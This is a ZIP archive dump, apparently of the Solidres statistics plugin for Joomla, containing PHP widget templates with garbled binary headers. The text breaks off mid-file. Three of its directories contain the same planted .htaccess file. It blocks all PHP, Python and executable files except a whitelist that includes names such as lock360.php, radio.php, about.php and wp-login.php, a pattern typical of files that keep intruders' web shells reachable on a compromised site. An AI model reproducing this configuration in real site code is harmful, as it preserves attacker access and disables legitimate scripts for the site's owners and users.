------------------------------------------------------------------------*/ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Uri\Uri; use Joomla\CMS\Factory as CMSFactory; SRHtml::_('jquery.ui'); HTMLHelper::_('stylesheet', 'plg_solidres_statistics/assets/widgets.min.css', ['relative' => true]); $app = CMSFactory::getApplication(); $widgetData = $fileContentsData = []; $filePath = SRPlugin::getAdminPath('statistics') . '/widgets'; $field = isset($displayData['field']) ? $displayData['field'] : null; $fileData = $filePath . '/data.json'; if (!is_file($fileData)) { $fileData = $filePath . '/data.default.json'; } if (is_file($fileData) && ($contents = file_get_contents($fileData)) && ($data = json_decode($contents, true)) ) { $fileContentsData = $data; } if ($field) { echo '<input type="hidden" name="' . $field->name . '" id="' . $field->id . '" value="' . htmlspecialchars($field->value, ENT_COMPAT, 'UTF-8') . '"/>'; $value = $field->value; if (!empty($value)) { $widgetData = json_decode($value, true); } } if (empty($widgetData)) { $widgetData = $fileContentsData; } $widgets = []; $app->triggerEvent('onSolidresWidgetsRegister', [&$widgets]); asort($widgets); ?> <div class="widget-wrap"> <div class="<?php echo SR_UI_GRID_CONTAINER; ?>"> <div class="<?php echo SR_UI_GRID_COL_2; ?> widget-side"> <p class="hint"><?php echo Text::sprintf('SR_CHOOSE_PREDEFINED_LAYOUT') ?></p> <div class="widget-grid"> <div class="grid-row grid-12 <?php echo SR_UI_GRID_CONTAINER; ?>"> <div data-col-class="12" class="<?php echo SR_UI_GRID_COL_12; ?>"> <div class="inner">12</div> </div> </div> <div class="grid-row grid-2-10 <?php echo SR_UI_GRID_CONTAINER; ?>"> <div data-col-class="2" class="<?php echo SR_UI_GRID_COL_2; ?>"> <div class="inner">2</div> </div> <div data-col-class="10" class="<?php echo SR_UI_GRID_COL_10; ?>"> <div class="inner">10</div> </div> </div> <div class="grid-row grid-3-9 <?php echo SR_UI_GRID_CONTAINER; ?>"> <div data-col-class="3" class="<?php echo SR_UI_GRID_COL_3; ?>"> <div class="inner">3</div> </div> <div data-col-class="9" class="<?php echo SR_UI_GRID_COL_9; ?>"> <div class="inner">9</div> </div> </div> <div class="grid-row grid-4-8 <?php echo SR_UI_GRID_CONTAINER; ?>"> <div data-col-class="4" class="<?php echo SR_UI_GRID_COL_4; ?>"> <div class="inner">4</div> </div> <div data-col-class="8" class="<?php echo SR_UI_GRID_COL_8; ?>"> <div class="inner">8</div> </div> </div> <div class="grid-row grid-5-7 <?php echo SR_UI_GRID_CONTAINER; ?>"> <div data-col-class="5" class="<?php echo SR_UI_GRID_COL_5; ?>"> <div class="inner">5</div> </div> <div data-col-class="7" class="<?php echo SR_UI_GRID_COL_7; ?>"> <div class="inner">7</div> </div> </div> <div class="grid-row grid-6-6 <?php echo SR_UI_GRID_CONTAINER; ?>"> <div data-col-class="6" class="<?php echo SR_UI_GRID_COL_6; ?>"> <div class="inner">6</div> </div> <div data-col-class="6" class="<?php echo SR_UI_GRID_COL_6; ?>"> <div class="inner">6</div> </div> </div> <div class="grid-row grid-4-4-4 <?php echo SR_UI_GRID_CONTAINER; ?>"> <div data-col-class="4" class="<?php echo SR_UI_GRID_COL_4; ?>"> <div class="inner">4</div> </div> <div data-col-class="4" class="<?php echo SR_UI_GRID_COL_4; ?>"> <div class="inner">4</div> </div> <div data-col-class="4" class="<?php echo SR_UI_GRID_COL_4; ?>"> <div class="inner">4</div> </div> </div> <div class="grid-row grid-3-3-3-3 <?php echo SR_UI_GRID_CONTAINER; ?>"> <div data-col-class="3" class="<?php echo SR_UI_GRID_COL_3; ?>"> <div class="inner">3</div> </div> <div data-col-class="3" class="<?php echo SR_UI_GRID_COL_3; ?>"> <div class="inner">3</div> </div> <div data-col-class="3" class="<?php echo SR_UI_GRID_COL_3; ?>"> <div class="inner">3</div> </div> <div data-col-class="3" class="<?php echo SR_UI_GRID_COL_3; ?>"> <div class="inner">3</div> </div> </div> <div class="grid-row grid-2-2-2-2-2-2 <?php echo SR_UI_GRID_CONTAINER; ?>"> <div data-col-class="2" class="<?php echo SR_UI_GRID_COL_2; ?>"> <div class="inner">2</div> </div> <div data-col-class="2" class="<?php echo SR_UI_GRID_COL_2; ?>"> <div class="inner">2</div> </div> <div data-col-class="2" class="<?php echo SR_UI_GRID_COL_2; ?>"> <div class="inner">2</div> </div> <div data-col-class="2" class="<?php echo SR_UI_GRID_COL_2; ?>"> <div class="inner">2</div> </div> <div data-col-class="2" class="<?php echo SR_UI_GRID_COL_2; ?>"> <div class="inner">2</div> </div> <div data-col-class="2" class="<?php echo SR_UI_GRID_COL_2; ?>"> <div class="inner">2</div> </div> </div> </div> <p class="hint"><?php echo Text::sprintf('SR_CHOOSE_PREDEFINED_FIELDS') ?></p> <div class="widget-blocks"> <div></div> <?php foreach ($widgets as $widgetId => $stringKey) { Text::script($stringKey); if (!isset($widgetData['widgets']) || !in_array($widgetId, $widgetData['widgets'])) { echo '<div class="widget-block" data-string-key="' . $stringKey . '" data-widget="' . $widgetId . '">' . Text::_($stringKey) . '</div>'; } } ?> </div> </div> <div class="<?php echo SR_UI_GRID_COL_10; ?>"> <div class="widget-drop"> <?php echo isset($widgetData['html']) ? $widgetData['html'] : ''; ?> </div> </div> </div> </div> <script> Solidres.jQuery(document).ready(function ($) { var widgetDrop = $('.widget-drop'); widgetDrop.find('[data-string-key]').each(function() { this.innerText = Joomla.JText._(this.getAttribute('data-string-key')); }); var initUI = function () { $('.widget-drop .grid-row').sortable({ cancel: '.widget-block, .btn', placeholder: 'widget-highlight' }).disableSelection(); $('.widget-side .widget-blocks, .widget-drop .inner').sortable({ connectWith: '.widget-drop .inner, .widget-side .widget-blocks', placeholder: 'widget-highlight' }).disableSelection(); }; $('.widget-side .grid-row').on('click', function () { var gridRow = $(this).clone(); var wrap = $('<div/>', { 'class': 'w', 'html': '<button type="button" class="btn btn-small btn-warning remove"><i class="fa fa-trash"></i></button>' }); gridRow.find('.inner').text(''); widgetDrop.append(wrap.prepend(gridRow)); initUI(); $('html, body').animate({ scrollTop: gridRow.offset().top }, 600); }); initUI(); widgetDrop.sortable({ cancel: '.widget-block' }).disableSelection(); widgetDrop.on('click', '.remove', function () { var p = $(this).parent('.w'); $('.widget-blocks').append(p.find('.widget-block')); p.remove(); }); $('.widget-wrap').parents('form').on('submit', function () { Joomla.loadingLayer('show'); var widgetData = { rows: [], widgets: [], html: $.trim(widgetDrop.html()) }, row, col, elRow, elCol, widget; widgetDrop.find('.grid-row').each(function () { elRow = $(this); row = { cols: [] }; elRow.find('[data-col-class]').each(function () { elCol = $(this); col = { colWidth: elCol.attr('data-col-class'), widgets: [] }; elCol.find('.widget-block').each(function () { widget = $(this).attr('data-widget'); col.widgets.push(widget); widgetData.widgets.push(widget); }); row.cols.push(col); }); widgetData.rows.push(row); }); var field = <?php echo $field ? '$("#' . $field->id . '")' : 'false'; ?>; if (false === field) { $.ajax({ url: '<?php echo Uri::base(true); ?>/index.php?option=com_solidres&task=widgets.save', type: 'post', dataType: 'json', data: { widgetData: widgetData }, success: function (response) { Joomla.loadingLayer('hide'); if (response.hasOwnProperty('messages')) { Joomla.renderMessages(response.messages); } } }); return false; } else { Joomla.loadingLayer('hide'); field.val(JSON.stringify(widgetData)); } }); }); </script> PK �.]�NZ� � V statistics/administrator/components/com_solidres/layouts/widgets/content/dashboard.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ defined('_JEXEC') or die; extract($displayData); ?> <div class="<?php echo SR_UI_GRID_CONTAINER; ?>"> <div class="statistics-chart-area <?php echo SR_UI_GRID_COL_12; ?>"> <ul class="nav nav-tabs"> <li class="active"> <a href="#revenue" data-toggle="tab"> <?php echo JText::_('SR_STATISTICS_REVENUE') ?> </a> </li> <li> <a href="#booking" data-toggle="tab"> <?php echo JText::_('SR_STATISTICS_NUMBER_OF_BOOKING') ?> </a> </li> <li> <a href="#roomtype" data-toggle="tab"> <?php echo JText::_('SR_STATISTICS_TOP_ROOM_TYPES') ?> </a> </li> </ul> <div class="tab-content"> <div class="tab-pane active" id="revenue"> <?php echo SRLayoutHelper::render('widgets.content.dashboard.revenue', $displayData); ?> </div> <div class="tab-pane" id="booking"> <?php echo SRLayoutHelper::render('widgets.content.dashboard.booking', $displayData); ?> </div> <div class="tab-pane" id="roomtype"> <?php echo SRLayoutHelper::render('widgets.content.dashboard.roomtype', $displayData); ?> </div> </div> </div> </div> PK �.]鮒� U statistics/administrator/components/com_solidres/layouts/widgets/content/bookings.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ defined('_JEXEC') or die; extract($displayData); ?> <?php if ($bookings) : ?> <table class="table table-bordered"> <thead> <tr> <th><?php echo JText::_('SR_STATISTICS_RESERVATION_CODE') ?></th> <th><?php echo JText::_('SR_STATISTICS_CUSTOMER_NAME') ?></th> <th><?php echo JText::_('SR_STATISTICS_RESERVATION_CHECKINOUT') ?></th> <th><?php echo JText::_('SR_STATISTICS_CREATED_DATE') ?></th> </tr> </thead> <tbody> <?php foreach ($bookings as $booking) : $state = (int) $booking->state; ?> <tr> <td width="10%"> <div class="reservation-code-<?php echo $state; ?> reservation-code"<?php echo isset($colors[$state]) ? ' style="background-color: ' . $colors[$state]->color_code . '"' : ''; ?>> <a href="<?php echo JRoute::_($baseLinks['reservation'] . '&id=' . $booking->id, false) ?>"> <?php echo $booking->code ?> </a> </div> </td> <td width="20%"> <div title="<?php echo $booking->customer_country_name ?>" class="flag-icon flag-icon-<?php echo strtolower($booking->customer_country_code) ?>"> </div> <?php echo $booking->firstname . ' ' . $booking->lastname; ?> </td> <td width="15%"> <?php echo JHtml::_('date', $booking->checkin, $dateFormat); ?> <span class="fa fa-long-arrow-<?php echo JFactory::getDocument()->direction == 'ltr' ? 'right' : 'left' ?>"></span> <?php echo JHtml::_('date', $booking->checkout, $dateFormat); ?> </td> <td width="10%"> <?php echo JHtml::_('date', $booking->created_date, $dateFormat); ?> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php else: ?> <div class="alert alert-info"> <?php echo JText::_('SR_STATISTICS_NO_RES_FOUND') ?> </div> <?php endif; ?> PK �.]9��ܤ � R statistics/administrator/components/com_solidres/layouts/widgets/content/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �.]6��� � S statistics/administrator/components/com_solidres/layouts/widgets/content/assets.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ defined('_JEXEC') or die; extract($displayData); ?> <div class="<?php echo SR_UI_GRID_CONTAINER; ?> scope-selection"> <div class="<?php echo SR_UI_GRID_COL_9; ?>"> <h3> <?php if (isset($title)): ?> <?php echo $title; ?> <?php else: ?> <i class="fa fa-bar-chart-o"></i> <?php echo JText::_('SR_STATISTICS_DASHBOARD'); ?> <?php endif; ?> </h3> </div> <div class="<?php echo SR_UI_GRID_COL_3; ?>"> <select class="pull-right" id="statistics-scope" name="statistics_scope"> <?php echo JHtml::_('select.options', SolidresHelper::getReservationAssetOptions(false), 'value', 'text', $view->get('model')->get('reservationAssetId')); ?> </select> </div> </div> PK �.]����� � _ statistics/administrator/components/com_solidres/layouts/widgets/content/dashboard/roomtype.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2016 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ /** * Statistics roomtype view * * @package Solidres * @subpackage Statistics * @since 0.5.0 */ defined('_JEXEC') or die; ?> <div class="navbar statistics_nav" id="sr_roomtype_nav"> <div class="navbar-inner"> <div class="navbar-container container"> <a class="btn btn-navbar" data-toggle="collapse" data-target=".sr-roomtype-collapse"> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </a> <div class="nav-collapse collapse sr-roomtype-collapse"> <ul class="nav"> <li> <a data-range="today" href=""><?php echo JText::_('SR_STATISTICS_TO_DAY') ?></a> </li> <li> <a data-range="thisweek" href=""><?php echo JText::_('SR_STATISTICS_THIS_WEEK') ?></a> </li> <li> <a data-range="lastweek" href=""><?php echo JText::_('SR_STATISTICS_LAST_WEEK') ?></a> </li> <li> <a data-range="thismonth" href=""><?php echo JText::_('SR_STATISTICS_THIS_MONTH') ?></a> </li> <li> <a data-range="lastmonth" href=""><?php echo JText::_('SR_STATISTICS_LAST_MONTH') ?></a> </li> <li> <a data-range="last3" href=""><?php echo JText::_('SR_STATISTICS_LAST_3_MONTH') ?></a> </li> <li> <a data-range="last6" href=""><?php echo JText::_('SR_STATISTICS_LAST_6_MONTH') ?></a> </li> <li> <a data-range="lastyear" href=""><?php echo JText::_('SR_STATISTICS_LAST_YEAR') ?></a> </li> </ul> <ul class="nav pull-right"> <li> <a data-range="customrange" href="#"> <i class="fa fa-wrench"></i> <?php echo JText::_('SR_STATISTICS_AD_OPTIONS') ?> </a> </li> <div class="date-toggle"> <div class="date-customtab"> <li><?php echo JText::_('SR_STATISTICS_CUSTOMRANGE') ?></li> <input class="customFrom input-block-level" type="text" readonly="true" placeholder=<?php echo JText::_('SR_STATISTICS_FROM')?> > <input class="customTo input-block-level" type="text" readonly="true" placeholder=<?php echo JText::_('SR_STATISTICS_TO')?> > <button class="date-submit1 btn" type="button"><?php echo JText::_('SR_STATISTICS_APPLY') ?></button> </div> </div> </ul> <!-- .nav, .navbar-search, .navbar-form, etc --> </div> </div> </div> </div> <div id="chart3"> <div class="chartNotice" style="margin-top: 40px;"> <h3><?php echo JText::_('SR_STATISTICS_NOTICE') ?></h3> </div> </div> PK �.]'��,5 5 ^ statistics/administrator/components/com_solidres/layouts/widgets/content/dashboard/revenue.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2016 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ /** * Statistics revenue view * * @package Solidres * @subpackage Statistics * @since 0.5.0 */ defined('_JEXEC') or die; ?> <div class="navbar statistics_nav" id="sr_revenue_nav"> <div class="navbar-inner"> <div class="navbar-container container"> <a class="btn btn-navbar" data-toggle="collapse" data-target=".sr-revenue-collapse"> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </a> <div class="nav-collapse collapse sr-revenue-collapse"> <ul class="nav"> <li> <a data-range="today" href=""><?php echo JText::_('SR_STATISTICS_TO_DAY') ?></a> </li> <li> <a data-range="thisweek" href=""><?php echo JText::_('SR_STATISTICS_THIS_WEEK') ?></a> </li> <li> <a data-range="lastweek" href=""><?php echo JText::_('SR_STATISTICS_LAST_WEEK') ?></a> </li> <li> <a data-range="thismonth" href=""><?php echo JText::_('SR_STATISTICS_THIS_MONTH') ?></a> </li> <li> <a data-range="lastmonth" href=""><?php echo JText::_('SR_STATISTICS_LAST_MONTH') ?></a> </li> <li> <a data-range="last3" href=""><?php echo JText::_('SR_STATISTICS_LAST_3_MONTH') ?></a> </li> <li> <a data-range="last6" href=""><?php echo JText::_('SR_STATISTICS_LAST_6_MONTH') ?></a> </li> <li> <a data-range="lastyear" href=""><?php echo JText::_('SR_STATISTICS_LAST_YEAR') ?></a> </li> </ul> <ul class="nav pull-right"> <li> <a data-range="customrange" href="#"> <i class="fa fa-wrench"></i> <?php echo JText::_('SR_STATISTICS_AD_OPTIONS') ?> </a> </li> <div class="date-toggle"> <div class="date-customtab"> <li><?php echo JText::_('SR_STATISTICS_CUSTOMRANGE') ?></li> <input class="customFrom input-block-level" type="text" readonly="true" placeholder=<?php echo JText::_('SR_STATISTICS_FROM')?> > <input class="customTo input-block-level" type="text" readonly="true" placeholder=<?php echo JText::_('SR_STATISTICS_TO')?> > <button class="date-submit1 btn" type="button"><?php echo JText::_('SR_STATISTICS_APPLY') ?></button> <hr/> <?php echo JText::_('SR_STATISTICS_COMPARE_TO') ?> <select id="CR" class="compare" data-compare-type="revenue"> <option value="Se"><?php echo JText::_('SR_STATISTICS_PLEASE_SELECT') ?></option> <option value="Pre"><?php echo JText::_('SR_STATISTICS_PREVIOUS_PERIOD') ?></option> <option value="Cus"><?php echo JText::_('SR_STATISTICS_CUSTOM') ?></option> </select> <input id="inCRFrom" class="disabledInputFrom input-block-level" type="text" readonly="true" placeholder=<?php echo JText::_('SR_STATISTICS_FROM')?> > <input id="inCRTo" class="disabledInputTo input-block-level" type="text" readonly="true" placeholder=<?php echo JText::_('SR_STATISTICS_TO')?> > <button class="date-submit2 btn" disabled type="button"><?php echo JText::_('SR_STATISTICS_APPLY') ?></button> </div> </div> </ul> <!-- .nav, .navbar-search, .navbar-form, etc --> </div> </div> </div> </div> <div id="chart1"> <div class="chartNotice" style="margin-top: 40px;"> <h3><?php echo JText::_('SR_STATISTICS_NOTICE') ?></h3> </div> </div> PK �.]H�V V ^ statistics/administrator/components/com_solidres/layouts/widgets/content/dashboard/booking.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2016 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ /** * Statistics booking view * * @package Solidres * @subpackage Statistics * @since 0.5.0 */ defined('_JEXEC') or die; ?> <div class="navbar statistics_nav" id="sr_booking_nav"> <div class="navbar-inner"> <div class="navbar-container container"> <!-- .btn-navbar is used as the toggle for collapsed navbar content --> <a class="btn btn-navbar" data-toggle="collapse" data-target=".sr-booking-collapse"> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </a> <!-- Be sure to leave the brand out there if you want it shown --> <!--<a class="brand" href="#">Project name</a>--> <!-- Everything you want hidden at 940px or less, place within here --> <div class="nav-collapse collapse sr-booking-collapse"> <ul class="nav"> <li > <a data-range="today" href=""><?php echo JText::_('SR_STATISTICS_TO_DAY') ?></a> </li> <li> <a data-range="thisweek" href=""><?php echo JText::_('SR_STATISTICS_THIS_WEEK') ?></a> </li> <li> <a data-range="lastweek" href=""><?php echo JText::_('SR_STATISTICS_LAST_WEEK') ?></a> </li> <li> <a data-range="thismonth" href=""><?php echo JText::_('SR_STATISTICS_THIS_MONTH') ?></a> </li> <li> <a data-range="lastmonth" href=""><?php echo JText::_('SR_STATISTICS_LAST_MONTH') ?></a> </li> <li> <a data-range="last3" href=""><?php echo JText::_('SR_STATISTICS_LAST_3_MONTH') ?></a> </li> <li> <a data-range="last6" href=""><?php echo JText::_('SR_STATISTICS_LAST_6_MONTH') ?></a> </li> <li> <a data-range="lastyear" href=""><?php echo JText::_('SR_STATISTICS_LAST_YEAR') ?></a> </li> </ul> <ul class="nav pull-right"> <li> <a data-range="customrange" href="#"> <i class="fa fa-wrench"></i> <?php echo JText::_('SR_STATISTICS_AD_OPTIONS') ?> </a> </li> <div class="date-toggle"> <div class="date-customtab"> <li><?php echo JText::_('SR_STATISTICS_CUSTOMRANGE') ?></li> <input class="customFrom input-block-level" type="text" readonly="true" placeholder=<?php echo JText::_('SR_STATISTICS_FROM')?> > <input class="customTo input-block-level" type="text" readonly="true" placeholder=<?php echo JText::_('SR_STATISTICS_TO')?> > <button class="date-submit1 btn" type="button"><?php echo JText::_('SR_STATISTICS_APPLY') ?></button> <hr/> <?php echo JText::_('SR_STATISTICS_COMPARE_TO') ?> <select id="CB" class="compare" data-compare-type="booking"> <option value="Se"><?php echo JText::_('SR_STATISTICS_PLEASE_SELECT') ?></option> <option value="Pre"><?php echo JText::_('SR_STATISTICS_PREVIOUS_PERIOD') ?></option> <option value="Cus"><?php echo JText::_('SR_STATISTICS_CUSTOM') ?></option> </select> <input id="inCBFrom" class="disabledInputFrom input-block-level" type="text" readonly="true" placeholder=<?php echo JText::_('SR_STATISTICS_FROM')?> > <input id="inCBTo" class="disabledInputTo input-block-level" type="text" readonly="true" placeholder=<?php echo JText::_('SR_STATISTICS_TO')?> > <button class="date-submit2 btn" disabled type="button"><?php echo JText::_('SR_STATISTICS_APPLY') ?></button> </div> </div> </ul> <!-- .nav, .navbar-search, .navbar-form, etc --> </div> </div> </div> </div> <div id="chart2"> <div class="chartNotice" style="margin-top: 40px;"> <h3><?php echo JText::_('SR_STATISTICS_NOTICE') ?></h3> </div> </div> PK �.]9��ܤ � \ statistics/administrator/components/com_solidres/layouts/widgets/content/dashboard/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �.]2m(S� � T statistics/administrator/components/com_solidres/layouts/widgets/content/origins.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; /** * @var array $displayData * @var array $origins * @var stdClass $origin */ extract($displayData); HTMLHelper::_('script', 'plg_solidres_statistics/assets/chart.min.js', ['relative' => true, 'version' => plgSolidresStatistics::getHashVersion()]); $data = $color = $label = []; foreach ($origins as $origin) { $data[] = $origin->count; $color[] = $origin->color; } $count = count($data); $sum = array_sum($data); foreach ($origins as $origin) { if ($sum > 0) { $percent = ($origin->count / $sum) * 100; } else { $percent = 0; } $label[] = $origin->name . ' (' . round($percent, 2) . '%)'; } ?> <div style="height: 260px"> <canvas id="sr-origins-chart" width="400" height="180"></canvas> <script> var data = { datasets: [ { data: <?php echo $data ? json_encode($data) : '[]'; ?>, backgroundColor: <?php echo $color ? json_encode($color) : '[]'; ?>, } ], labels: <?php echo $label ? json_encode($label) : '[]'; ?> }, context = document.getElementById('sr-origins-chart').getContext('2d'), myPieChart = new Chart(context, { type: 'pie', data: data, options: { responsive: true, maintainAspectRatio: false, } }); </script> </div>PK �.]�TET� � Q statistics/administrator/components/com_solidres/layouts/widgets/content/maps.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ defined('_JEXEC') or die; extract($displayData); ?> <div class="statistics-world-map" style="width: 100%; height: 300px"></div> <script> Solidres.jQuery(document).ready(function ($) { $('.statistics-world-map').each(function () { var map = $(this); if (map.data('vectorMap') !== true) { map.data('vectorMap', true).vectorMap({ map: 'world_mill', normalizeFunction: 'polynomial', hoverOpacity: 0.7, hoverColor: false, markerStyle: { initial: { fill: '#E37B33', stroke: '#ccc' } }, backgroundColor: '#eaf7fe', markers: <?php echo json_encode($view->get('customerLocations')); ?>, series: { regions: [{ values: ranData, scale: ['#C8EEFF', '#0071A4'], normalizeFunction: 'polynomial' }] } }); } }); }); </script> PK �.]���V� � Z statistics/administrator/components/com_solidres/layouts/widgets/content/revpar/result.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ defined('_JEXEC') or die; extract($displayData); /** * @var array $rooms * @var array $listDays * @var array $listWeeks * @var array $listMonths * @var SRCurrency $currency */ use Joomla\CMS\Language\Text; $roomTypeNames = []; $totalRooms = 0; foreach ($rooms as $room) { $roomTypeName = trim($room->roomTypeName); $totalRooms++; if (!in_array($roomTypeName, $roomTypeNames)) { $roomTypeNames[] = $roomTypeName; } } if (count($roomTypeNames) > 1) { $headerText = Text::_('SR_STATISTICS_ROOM_TYPES'); } else { $headerText = $roomTypeNames[0]; } ?> <div class="revpar-table-container"> <h3><?php echo $headerText . ' (' . Text::plural('SR_STATISTICS_ROOMS_COUNT_FORMAT', $totalRooms) . ')'; ?></h3> <ul class="nav nav-tabs"> <li><a href="#revpar-days" data-toggle="tab"><?php echo Text::_('SR_STATISTICS_REVPAR_DAYS'); ?></a></li> <li><a href="#revpar-weeks" data-toggle="tab"><?php echo Text::_('SR_STATISTICS_REVPAR_WEEKS'); ?></a></li> <li class="active"><a href="#revpar-months" data-toggle="tab"><?php echo Text::_('SR_STATISTICS_REVPAR_MONTHS'); ?></a></li> <li><a class="toggle" href="#"><i class="fa fa-expand"></i></a></li> </ul> <div class="tab-content"> <div class="tab-pane" id="revpar-days"> <table class="table table-bordered table-striped"> <thead> <tr> <th><?php echo Text::_('SR_STATISTICS_REVPAR_DATE'); ?></th> <th><?php echo Text::_('SR_STATISTICS_REVPAR_OCCUPANCY'); ?></th> <th><?php echo Text::_('SR_STATISTICS_REVPAR_ADR'); ?></th> <th><?php echo Text::_('SR_STATISTICS_REVPAR'); ?></th> </tr> </thead> <tbody> <?php foreach ($listDays as $dateFormatted => $data): $revPAR = $data['occupancy'] * $data['adr']; ?> <tr class="toggle-row <?php echo $data['revPAR'] > 0.00 ? '' : ' no-revPar'; ?>"> <td><?php echo $dateFormatted; ?></td> <td><?php echo round(100 * $data['occupancy'], 2) . '%'; ?></td> <td> <?php $currency->setValue($data['adr'], false); ?> <?php echo $currency->format(); ?> </td> <td> <?php $currency->setValue($revPAR, false); ?> <?php echo $currency->format(); ?> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php foreach (['weeks' => $listWeeks, 'months' => $listMonths] as $key => $listData): ?> <div class="tab-pane<?php echo $key == 'months' ? ' active' : ''; ?>" id="revpar-<?php echo $key; ?>"> <table class="table table-bordered table-striped"> <thead> <tr> <th>Date</th> <th>Occupancy</th> <th>ADR</th> <th>RevPar</th> </tr> </thead> <tbody> <?php foreach ($listData as $group => $data): $rangeDate = $data['rangeDate']; $count = count($rangeDate); $dateFormatted = $rangeDate[0] . ' - ' . $rangeDate[$count - 1]; $occupancyPercent = round(($data['occupancy'] / $count) * 100, 2); $adr = round($data['adr'] / $count, 2); $revPar = ($occupancyPercent / 100) * $adr; ?> <tr class="toggle-row <?php echo $revPar > 0.00 ? '' : ' no-revPar'; ?>"> <td><?php echo $dateFormatted; ?></td> <td><?php echo $occupancyPercent . '%'; ?></td> <td> <?php $currency->setValue($adr, false); ?> <?php echo $currency->format(); ?> </td> <td> <?php $currency->setValue($revPar, false); ?> <?php echo $currency->format(); ?> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php endforeach; ?> </div> </div>PK �.]9��ܤ � Y statistics/administrator/components/com_solidres/layouts/widgets/content/revpar/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �.]��Z�� � S statistics/administrator/components/com_solidres/layouts/widgets/content/revpar.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ defined('_JEXEC') or die; /** * @var int $assetId * @var array $roomTypes */ use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Factory as CMSFactory; use Joomla\CMS\Uri\Uri; extract($displayData); HTMLHelper::_('behavior.core'); HTMLHelper::_('script', SRURI_MEDIA . '/assets/js/datePicker/localization/jquery.ui.datepicker-' . CMSFactory::getLanguage()->getTag() . '.js'); $dateFormat = ComponentHelper::getParams('com_solidres')->get('date_format', 'd-m-Y'); $jsDateFormat = SRUtilities::convertDateFormatPattern($dateFormat); ?> <div class="statistics-revpar-filter"> <div class="filter-group"> <label for="date-from-alt"><?php echo Text::_('SR_STATISTICS_REVPAR_FROM_DATE'); ?></label> <input type="text" id="date-from-alt" autocomplete="off" readonly/> <input type="hidden" id="date-from"/> </div> <div class="filter-group"> <label for="date-to-alt"><?php echo 